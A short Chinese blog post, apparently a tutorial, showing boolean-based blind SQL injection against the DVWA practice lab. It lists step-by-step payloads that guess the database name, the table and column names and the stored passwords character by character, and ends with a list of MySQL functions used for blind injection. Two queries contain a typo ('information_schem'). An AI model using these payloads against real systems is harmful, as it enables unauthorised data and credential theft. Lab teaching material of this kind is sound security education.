zoukankan      html  css  js  c++  java
  • 渗透测试---SQL注入~SQL盲注

    在DVWA的SQL盲注模块中:

    判断当前数据库长度为4。

    id=1' and length(database())>3 -- 执行成功

    id=1' and length(database())>4 -- 执行失败

    采用二分法逐步猜解数据库名为dvwa。

    id=1' and ascii(mid(database(),1,1))>99 -- 执行成功

    id=1' and ascii(mid(database(),1,1))>100 -- 执行失败

    采用二分法逐步猜解表名。

    id=1' and ascii(mid((select table_name from information_schem.tables where table_schema='dvwa' limit 0,1),1,1))>x -- 执行失败/成功

    采用二分法逐步猜解字段名。

    id=1' and ascii(mid((select column_name from information_schem.columns where table_schema='dvwa' and table_name='users' limit 0,1),1,1))>x -- 执行失败/成功

    采用二分法逐步猜解内容。

    id=1' and ascii(mid((select password from dvwa.users limit 0,1),1,1))>x -- 执行失败/成功

    mysql盲注关键函数:

    count()

    limit()

    length()

    mid()

    substring()

    substr()

    left()

    ascii()

    if()

  • 相关阅读:
    第六章实验报告
    第三次实验报告
    第五章 循环结构课后反思
    第二次实验报告
    第一次实验报告
    第一次课后作业
    第五章 循环结构
    第九章实验报告
    第八章实验报告
    第七章 数组实验
  • 原文地址:https://www.cnblogs.com/123456ZJJ/p/12789262.html
Copyright © 2011-2022 走看看